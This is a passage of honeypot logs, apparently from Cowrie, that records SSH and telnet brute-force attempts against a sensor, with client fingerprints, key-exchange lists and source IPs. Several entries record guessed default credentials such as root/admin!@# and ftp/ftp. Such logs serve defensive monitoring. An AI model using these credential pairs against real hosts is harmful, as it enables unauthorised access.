.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:25.345214Z","src_ip":"160.187.174.22","session":"790910196554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:26.069252Z","src_ip":"160.187.174.22","session":"790910196554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:27.317894Z","src_ip":"160.187.174.22","session":"790910196554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.530622005462646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:28.177201Z","src_ip":"8.134.124.8","session":"484ffca8fd33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":55074,"dst_ip":"10.17.0.5","dst_port":22,"session":"076866429080","protocol":"ssh","message":"New connection: 97.74.6.204:55074 (10.17.0.5:22) [session: 076866429080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:31.857347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:31.860441Z","src_ip":"97.74.6.204","session":"076866429080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:31.925912Z","src_ip":"97.74.6.204","session":"076866429080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#","message":"login attempt [root/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:32.125212Z","src_ip":"97.74.6.204","session":"076866429080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:33.193698Z","src_ip":"97.74.6.204","session":"076866429080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44712,"dst_ip":"159.203.135.109","dst_port":23,"session":"75cb84b9d1f9","protocol":"telnet","message":"New connection: 170.64.224.25:44712 (159.203.135.109:23) [session: 75cb84b9d1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:36.274001Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:40.985487Z","src_ip":"221.229.220.180","session":"f68a84b91670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":36498,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2cd5b40350","protocol":"ssh","message":"New connection: 102.223.47.171:36498 (10.17.0.5:22) [session: 1f2cd5b40350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:46.015916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:46.019940Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:46.246589Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:48:f8:ab:11:08:5a:94:2e:8e:b2:37:55:84:23:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh5UECCyYadEyOCml8J0v7xyQw7x80aBt0RMDNhkxYyEFYPbR2w8tR+nGWj7iN3/PaBVhA8P1CeQmlJI0dd8JM9R8B+hA01dQHjR+V4o76MDBIacRxfLLuLcv8/dznMPC6dPnkFFR15AEeykdP4qNKxaQ50JX7iWk/QICPCDPGOYYKu+AuRX8gal3b2klRQvoy7VXNpo13Vy1qvIY0HfoRlLlk6Ahu7/mYDHFOGbT0jpqJ5jZnuHqtUkiS1M8D8k5gpOmyEny4ztWTfbrDbGvgbvjH4bcMOKPwQKLXB7kTUgKdTfo6DXhTAvwUsc6NhKX4ECMETBNLdoNo/fjR4nPD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:48:f8:ab:11:08:5a:94:2e:8e:b2:37:55:84:23:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.355916Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:48:f8:ab:11:08:5a:94:2e:8e:b2:37:55:84:23:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh5UECCyYadEyOCml8J0v7xyQw7x80aBt0RMDNhkxYyEFYPbR2w8tR+nGWj7iN3/PaBVhA8P1CeQmlJI0dd8JM9R8B+hA01dQHjR+V4o76MDBIacRxfLLuLcv8/dznMPC6dPnkFFR15AEeykdP4qNKxaQ50JX7iWk/QICPCDPGOYYKu+AuRX8gal3b2klRQvoy7VXNpo13Vy1qvIY0HfoRlLlk6Ahu7/mYDHFOGbT0jpqJ5jZnuHqtUkiS1M8D8k5gpOmyEny4ztWTfbrDbGvgbvjH4bcMOKPwQKLXB7kTUgKdTfo6DXhTAvwUsc6NhKX4ECMETBNLdoNo/fjR4nPD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.359090Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:f4:fc:f7:3d:88:1a:3b:e8:ec:81:1b:a2:c6:e7:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0RVhYU/ElkZCYgwtujBO6vhUGK/nxlyljFgPCuyVEx7FLqha1vpfop4fT0IhduUzOSWKs+S7xyNyIgZYU/h7qr5/4OPtyvkG1X4HdXMyP8/Qk20smAdpXqY1tSMs+k3qO1Mx/Gevzbl17LpVH+6APxjC8aSSWbwZH/mgOf7cSUDG7JeAyn74C911EqQfilfpTJgt6cqnDi9qZh6J8Aa03EKxdZtxJAHJBSGa+kbAUV+U0hSSgdoTD+0rtOdPJsvzh/b1mT81uL1cZZu/IYv2U06rrtVURYfzt5qDPaZuwtnorkejTIIvXxmmpIC3wubcoSV3hKsIVCkO4+J1iJMG3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:f4:fc:f7:3d:88:1a:3b:e8:ec:81:1b:a2:c6:e7:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.585343Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:f4:fc:f7:3d:88:1a:3b:e8:ec:81:1b:a2:c6:e7:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0RVhYU/ElkZCYgwtujBO6vhUGK/nxlyljFgPCuyVEx7FLqha1vpfop4fT0IhduUzOSWKs+S7xyNyIgZYU/h7qr5/4OPtyvkG1X4HdXMyP8/Qk20smAdpXqY1tSMs+k3qO1Mx/Gevzbl17LpVH+6APxjC8aSSWbwZH/mgOf7cSUDG7JeAyn74C911EqQfilfpTJgt6cqnDi9qZh6J8Aa03EKxdZtxJAHJBSGa+kbAUV+U0hSSgdoTD+0rtOdPJsvzh/b1mT81uL1cZZu/IYv2U06rrtVURYfzt5qDPaZuwtnorkejTIIvXxmmpIC3wubcoSV3hKsIVCkO4+J1iJMG3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.588462Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:0c:47:e3:86:d6:8c:67:0d:bb:67:a6:79:59:4b:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdRMN6SX4IXes76FmvDXUhsBK73mZJvvJ1bWpc5ieNAe/FqBEoHfr8tb0hEMGCgqdJ/PaubjpZVzKt78FPnmpSLjgsiUOeZjCweNu/rcxj9Fi1SY86/DBvGoNjf7Gy0Q6B19rK4TWXF2vDhEEv6mLWhJihljgn+tYchKSX1YNX9AfCNYalpe9gDSuDJFBqX9ndcwQmIIlncyPE8bPd+OYqCRaRSDxoCWvOYuOhtIi+gz3+9qI+tc3X+dZma4xf6Xddnf1EDZXPbtpiIvvub0xuK1kPvgCdb0Y6iEWpxo+3fuY/in2D/ub2RJffBs9EWXQ4yELLpHr/3TtgwKSE3f0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:0c:47:e3:86:d6:8c:67:0d:bb:67:a6:79:59:4b:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.819923Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:0c:47:e3:86:d6:8c:67:0d:bb:67:a6:79:59:4b:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdRMN6SX4IXes76FmvDXUhsBK73mZJvvJ1bWpc5ieNAe/FqBEoHfr8tb0hEMGCgqdJ/PaubjpZVzKt78FPnmpSLjgsiUOeZjCweNu/rcxj9Fi1SY86/DBvGoNjf7Gy0Q6B19rK4TWXF2vDhEEv6mLWhJihljgn+tYchKSX1YNX9AfCNYalpe9gDSuDJFBqX9ndcwQmIIlncyPE8bPd+OYqCRaRSDxoCWvOYuOhtIi+gz3+9qI+tc3X+dZma4xf6Xddnf1EDZXPbtpiIvvub0xuK1kPvgCdb0Y6iEWpxo+3fuY/in2D/ub2RJffBs9EWXQ4yELLpHr/3TtgwKSE3f0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:47.822982Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:54:ea:e4:a9:66:61:e1:00:d8:33:a0:c9:f6:00:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKv+XVRBqGjhSh4hGJ5DLCaTtv+A+1S05rFQnvK7aF3ofO+yrXt/6EuJboUwcq0R/NmdwPeEDELJsmOaKNKkTLovjb4l0aqcCbaLkLUda41wze3NUkYpS6Emc5woIN1p8dCZgVVKkbQHFcSxPtGa5a5eHi/ziahvbfLiLxgev7rIM+NxOF14jhB2zDeqUETGmWheFZI0cOIX7lSaI5SSdkCP9aDCaI6bLvpQnV4dJYyNBUJQHL0Omy1mzXly3lyypnavuZwpIAcC+vtzdHg/bFsgBmTdDBaYZRJ7uxvxrtArHV/V/jiDOcLXoxl5GFjgYhsVPGa74pyeM9i5LiETX3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:54:ea:e4:a9:66:61:e1:00:d8:33:a0:c9:f6:00:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:48.049908Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:54:ea:e4:a9:66:61:e1:00:d8:33:a0:c9:f6:00:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKv+XVRBqGjhSh4hGJ5DLCaTtv+A+1S05rFQnvK7aF3ofO+yrXt/6EuJboUwcq0R/NmdwPeEDELJsmOaKNKkTLovjb4l0aqcCbaLkLUda41wze3NUkYpS6Emc5woIN1p8dCZgVVKkbQHFcSxPtGa5a5eHi/ziahvbfLiLxgev7rIM+NxOF14jhB2zDeqUETGmWheFZI0cOIX7lSaI5SSdkCP9aDCaI6bLvpQnV4dJYyNBUJQHL0Omy1mzXly3lyypnavuZwpIAcC+vtzdHg/bFsgBmTdDBaYZRJ7uxvxrtArHV/V/jiDOcLXoxl5GFjgYhsVPGa74pyeM9i5LiETX3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:48.052487Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:69:ef:8e:42:97:a5:65:7c:07:35:4d:21:26:70:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5wG3QX9ofzbPKN48FFa4hQEowOZsNu941jqiC+HnwhhQCF6Ofycggl0ZsSwrz9ngiji8DQ5cz6Kb08LWooPe/F7M6dsy4n0Ff1LXpLKDFUSNXxR/METbmiOycVKbeoURhUHW0ByIR+UyEDLxhT+8cJ3vRgs3GMqxmL06/t6/0O+yJu92Yf9WFuObnF24pcEn4xpdWbfyUjjFqwt9Axyi0NnUWS/5GokwkR808Ahh7w+DXFTvwFiMTZW4xM8C1QSy6so+lRn5xgigEBmCL0tE0Vh9aJl9c7hs54UfzoFnnxvsoWJMEUWxVJ43afvfsiLFGaIw1UsyCQlU2cMeVk2EUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:69:ef:8e:42:97:a5:65:7c:07:35:4d:21:26:70:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:48.280893Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:69:ef:8e:42:97:a5:65:7c:07:35:4d:21:26:70:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5wG3QX9ofzbPKN48FFa4hQEowOZsNu941jqiC+HnwhhQCF6Ofycggl0ZsSwrz9ngiji8DQ5cz6Kb08LWooPe/F7M6dsy4n0Ff1LXpLKDFUSNXxR/METbmiOycVKbeoURhUHW0ByIR+UyEDLxhT+8cJ3vRgs3GMqxmL06/t6/0O+yJu92Yf9WFuObnF24pcEn4xpdWbfyUjjFqwt9Axyi0NnUWS/5GokwkR808Ahh7w+DXFTvwFiMTZW4xM8C1QSy6so+lRn5xgigEBmCL0tE0Vh9aJl9c7hs54UfzoFnnxvsoWJMEUWxVJ43afvfsiLFGaIw1UsyCQlU2cMeVk2EUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:48.283808Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:48.509669Z","src_ip":"102.223.47.171","session":"1f2cd5b40350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":33471,"dst_ip":"10.17.0.5","dst_port":22,"session":"4034f31a2a70","protocol":"ssh","message":"New connection: 160.174.129.232:33471 (10.17.0.5:22) [session: 4034f31a2a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:51.959525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:51.963717Z","src_ip":"160.174.129.232","session":"4034f31a2a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:52.106148Z","src_ip":"160.174.129.232","session":"4034f31a2a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"332211","message":"login attempt [root/332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:52.709937Z","src_ip":"160.174.129.232","session":"4034f31a2a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46206,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5482137575","protocol":"ssh","message":"New connection: 160.187.174.22:46206 (159.203.135.109:22) [session: 1f5482137575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:52.981273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:52.984490Z","src_ip":"160.187.174.22","session":"1f5482137575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:53.231660Z","src_ip":"160.187.174.22","session":"1f5482137575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:53.854768Z","src_ip":"160.174.129.232","session":"4034f31a2a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:53.963215Z","src_ip":"160.187.174.22","session":"1f5482137575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:55.207939Z","src_ip":"160.187.174.22","session":"1f5482137575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46650,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8438548a75","protocol":"ssh","message":"New connection: 160.187.174.22:46650 (159.203.135.109:22) [session: 6b8438548a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:22.378666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:20:22.383085Z","src_ip":"160.187.174.22","session":"6b8438548a75","protocol":"ssh"}
